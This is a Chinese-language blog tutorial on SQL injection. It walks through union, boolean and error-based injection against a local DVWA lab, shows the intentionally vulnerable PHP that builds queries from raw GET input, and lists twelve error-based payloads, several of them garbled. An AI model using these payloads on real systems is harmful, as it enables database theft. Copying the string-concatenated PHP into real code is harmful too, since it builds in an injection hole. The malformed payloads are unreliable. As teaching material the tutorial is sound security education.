SQL注入回顧篇(一)

前言

憶往昔,崢嶸歲月稠!大學已經到了大三了,打了很多比賽,回顧還是挺欣慰!此係列來由是想留一點東西,把所學知識整理一下,同時也是受github上Micro8分享的啓發,故想做一些工作,以留後人蔘考,歷時兩個星期,第一系列SQL注入回顧篇出爐!內容分四節發佈,其中SQL注入代碼審計爲兩節,WAF繞過總結爲1節,SQLMAP使用總結爲1節!此爲SQL注入代碼審計第一部分。歡迎各位斧正,交流!

簡介

SQL注入就是web應用程序對用戶輸入數據的合法性沒有判斷,前端傳入後端的參數是攻擊者可控的,並且參數帶入數據庫查詢攻擊者可以通過構造不同的sql語句來實現對數據庫的任意操作。

Sql注入的產生需要滿足以下兩個條件:

  1. 參數用戶可控:前端傳給後端的參數內容是用戶可以控制的。

  2. 參數帶入數據庫查詢:傳入的參數拼接到sql語句中,且帶入數據庫查詢。

當傳入的參數ID爲1’時,數據庫執行的代碼如下所示。

Select * from users where id=1

這個語句不符合數據庫語法規範,所以會報錯。當傳入的參數爲and 1=1時,執行的sql語句如下所示

Select * from users where id=1 and 1=1

因爲1=1爲真,且where語句中的id=1也爲真,所以頁面會返回與id=1相同的結果。當傳入的id參數爲and 1=2時,此時sql語句恆爲假,所以服務器會返回與id=1不同的結果

在實際環境中,sql注入會導致數據庫的數據泄露,在安全配置不當的情況下還可能會被攻擊者拿到系統權限,進行文件的讀寫操作等。

普通的注入審計,可以通過$_GET,$_POST等傳參追蹤數據庫操作,也可以通過select , delete , update,insert 數據庫操作語句反追蹤傳參。

Mysql注入相關知識點

  1. 在Mysql 5.0版本之後,Mysql默認在數據庫中存放一個”information_shcema”的數據庫,在該庫中,讀者需要記住三個表名,分別是SCHEMATA,TABLESCOLUMNS。分存儲該用戶創建的所有數據庫的庫名,庫名和表名,庫名和表名,字段名。

  2. Limit的用法:使用格式爲limit m,n,其中m是指記錄開始的位置,從0開始,表示第一條記錄:n是指取n條記錄。例如limit 0,1表示從第一條記錄開始,取一條記錄。

  3. 需要記住的幾個函數

  • database():當前網站使用的數據庫。

  • version():當前MYSQL的版本。

  • user():當前MySQL的用戶。

  1. 註釋符

在MYSQL中,常見的註釋符的表達式爲:#或–空格或/**/,

,//,-- , --+,%00,–a。

  1. 內聯註釋

    內聯註釋的形式:/*!code */。內聯註釋可以用於整個SQL語句中用來執行我們的SQL語句,

    舉個栗子:

    Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
  2. MYSQL對大小寫不敏感,所以存在大小繞過。

分類

按照注入方式方式分爲以下幾種:

  1. Union注入
  2. Boolean注入
  3. 報錯注入
  4. 時間注入
  5. 堆疊注入
  6. 二次注入
  7. 寬字節注入
  8. Cookie注入
  9. Base64注入
  10. XFF注入

Union注入

注入測試地址http://192.168.23.134/union/union.php?id=1

訪問該網站頁面返回的結果如圖所示
在這裏插入圖片描述

在url後添加一個單引號,再次訪問,如下圖所示,頁面返回的結果與id=1的結果不同。
在這裏插入圖片描述
訪問id=1 and 1=1,由於and 1=1爲真,所以頁面應返回與id=1相同的結果,如圖所示,訪問id=1 and 1=2 由於and 1=2爲假,所以頁面應返回與id=1不同的結果,如圖1.2所示。
圖1.1
注:這裏的加號代替了空格(url編碼)
在這裏插入圖片描述
圖1.2

因此可以得出此網站可能存在sql注入的結論,接着使用order by 1-99語句查詢該數據表的字段數量,可以理解爲order by=1-99,如訪問id=1 order by 8 返回的是與id=1相同的結果,如圖2.1所示。訪問id=1 order by 9,返回的與id=1的結果不同,則字段數爲8,如圖2.2.
在這裏插入圖片描述

​ 圖2.1

在這裏插入圖片描述

​ 圖2.2

接下來使用union注入,且通過order by 查詢結果,得字段數爲8,所以union注入的語句如下所示

 union select 1,2,3,4,5,6,7,8

在這裏插入圖片描述

我們將id值設爲-1,只讓服務器返回union select的結果,因爲數據庫裏沒有id=-1的數據。如下圖:
在這裏插入圖片描述
返回的結果是4,5,意味着在union select 1,2,3,4,5,6,7,8中,4和5的位置可以輸入sql語句。接下來我們在 4的位置使用database()查詢當前數據庫名訪問

-1+union+select+1,2,3,database(),5,6,7,8

頁面成功返回數據信息,如圖所示
在這裏插入圖片描述

得到數據庫名後,接下來查詢表名
在這裏插入圖片描述

在這裏插入圖片描述

以此類推,可以查詢所有的表名,這裏我們用users表,查詢字段名

select column_name from information_schema.clumns where table_schema=’dvwa’ and table_name=’users’ limit 0,1

在這裏插入圖片描述

可知第一個字段爲user_id,以此類推用limit n,1查詢出所有字段名

在這裏插入圖片描述

在這裏插入圖片描述

得出字段名後,我們還要dump出字段值以password字段爲例

select password from dvwa.users limit 0,1

在這裏插入圖片描述

假如我們利用5顯示位,可以將密碼對應的姓名也打印出來

在這裏插入圖片描述

Union注入代碼分析

​ 在union注入頁面中,程序獲取GET參數ID,將ID拼接到SQL語句中,在數據庫中查詢參數ID對應的內容,然後將第一條查詢結果中的username和address輸出到頁面上,由於是將數據輸出到頁面上的,所以可以利用union語句查詢其他數據,代碼如下

<?php

$con=mysqli_connect("localhost","root","root","dvwa");

// 檢測連接

if (mysqli_connect_error()

{

    echo "連接失敗: " . mysqli_connect_error();

}

$id = $_GET['id'];

$result = mysqli_query($con,"select * from users where `user_id`=".$id);

while($row = mysqli_fetch_array($result))

{

echo $row['user'] . " " . $row['password'];

    echo "<br>";

}

?>

Boolean注入

注入測試地址:http://192.168.23.134/boolean/boolean.php?id=1

訪問該網址頁面返回yes,如圖所示
在這裏插入圖片描述

加上單引號後,頁面返回no

在這裏插入圖片描述

雖然這裏存在報錯注入,但目前暫不考慮,輸入其它的id值,只返回yes和no。由此可以判斷,頁面只返回yes和no,不返回數據庫中的數據,所以此處不可union注入。此處利用Boolean注入。Boolean注入是指構造SQL判斷語句,通過查看頁面的返回結果來推測哪些sql判斷條件是成立,以此獲取數據庫數據。我們先判斷數據庫名的長度。

and length(database())>=1--+

​ 有單引號,所以需要註釋符來註釋。1的位置上可以是任意數字,如‘ and length(database())>=4–+和‘ and length(database())>=5–+,判斷數據庫長度,如圖所示
在這裏插入圖片描述
在這裏插入圖片描述

可以判斷出數據庫名長度爲4。

​ 接着,使用逐字符判斷的方式獲取數據庫庫名。數據庫庫名的範圍一般在az,09之內,可能還有一些特殊字符,這裏的字符不區分大小寫。逐字符判斷的SQL語句爲:

and substr(database(),1,1)=’d’--+

​ substr是截取的意思,其意思是截取database()的值,從第一個字符開始,每次只返回一個。

​ substr的用法跟limit的有區別,需要注意。Limit是從0開始排序,而這裏是從1開始排序。可以使用burp的爆破功能爆破其中的d值,如圖所示,當值爲d時頁面返回yes,其它值返回no,因此判斷數據庫名第一位爲d
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

逐字符爆破可以得出數據庫名爲dvwa。

​ 其實還可以使用ASCII碼的字符進行查詢,在mysql中ASCII轉換的函數爲ord,則可以進行逐字符爆破。ASCII碼共有127個對應碼,因此我們把burp的payload的範圍設爲0~127。

and ord(substr(database(),1,1))>=100--+

在這裏插入圖片描述

d的ascii對應的爲100,所以第一個字符爲d。

接下來爆破錶名,同樣利用burp爆破。

and substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1,1)=’u’--+

在這裏插入圖片描述

這裏爆破出第二個表的第一個字符爲u,以此類推,就可以查詢出所有的表名與字段名。

Boolean注入代碼分析

​ 在Boolean注入頁面中程序先獲取GET參數ID,通過preg_match判斷其中是否存在union/sleep/benchmark等危險字符。然後將參數ID拼接到SQL語句,從數據庫查詢,如果有結果,則返回yes,否則返回no。當訪問該頁面時,代碼根據數據庫查詢的結果返回yes或no,而不返回數據庫中的任何數據,所以頁面上只會顯示yes或no,代碼如下。

<?php

$con=mysqli_connect("localhost","root","root","dvwa");

// 檢測連接

if (mysqli_connect_errno())

{

  echo "連接失敗: " . mysqli_connect_error();

}

$id = $_GET['id'];

if (preg_match("/union|sleep|benchmark/i", $id)) {

  exit("no");

}

$result = mysqli_query($con,"select * from users where `user_id`='".$id."'");

$row = mysqli_fetch_array($result);

if ($row) {

  exit("yes");

}else{

  exit("no");

}

?>

報錯注入

注入測試網址:192.168.23.134/error/error.php?username=1

加上單引號後會報錯。

在這裏插入圖片描述

通過頁面返回結果可以看出,程序直接將錯誤信息輸出到了頁面上,所以利用報錯注入獲取數據。報錯注入有多種方式,此處利用函數updataxml()SQL語句獲取user()的值

and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

其中0x7e是ASCII編碼,解碼結果爲~,concat函數用於連接字符串。

在這裏插入圖片描述

然後獲取當前的數據庫名

and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

在這裏插入圖片描述

接下來查詢表名

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),0x7e),1)--+

在這裏插入圖片描述

報錯注入代碼分析

在報錯注入頁面中,程序獲取GET參數username後,將username拼接到SQL語句中,然後到數據庫查詢,如果執行成功,就輸出ok;如果出錯,則通過mysqli_error($con)將錯誤信息輸出到頁面。代碼如下

<?php

$con=mysqli_connect("localhost","root","root","dvwa");

// 檢測連接

if (mysqli_connect_errno())

{

    echo "連接失敗: " . mysqli_connect_error();

}

$username = $_GET['username'];

if($result = mysqli_query($con,"select * from users where `first_name`='".$username."'")){

    echo "ok";

}else{

    echo mysqli_error($con);

}

?>

輸入username=1’時,SQL語句爲select * from users where ‘username’=’1’’會因爲多了一個單引號而報錯。利用這種錯誤回顯,我們可以通過floor(),updatexml()等函數將要查詢的內容輸出到頁面上。

sql報錯注入的12個函數

1、通過floor報錯,注入語句如下:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通過ExtractValue報錯,注入語句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通過UpdateXml報錯,注入語句如下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通過NAME_CONST報錯,注入語句如下:

and exists(select*from(select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通過join報錯,注入語句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通過exp報錯,注入語句如下:

and exp(~(select * from (select user () ) a) );

7、通過GeometryCollection()報錯,注入語句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通過polygon ()報錯,注入語句如下:

and polygon (()select * from(select user ())a)b );

9、通過multipoint ()報錯,注入語句如下:

and multipoint (()select * from(select user() )a)b );

10、通過multlinestring ()報錯,注入語句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通過multpolygon ()報錯,注入語句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通過linestring ()報錯,注入語句如下:

and linestring (()select * from(select user() )a)b );

結語

本次分享是Union注入,報錯注入,布爾注入的原理分析,及其代碼審計!下次分享的是另外幾種注入的代碼審計及其原理分享,如:時間注入,堆疊注入,二次注入,cookie注入等!如有興趣,請移步->
傳送門:
SQL注入回顧篇(二)
SQL注入回顧篇(三)
SQL注入回顧篇(四)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章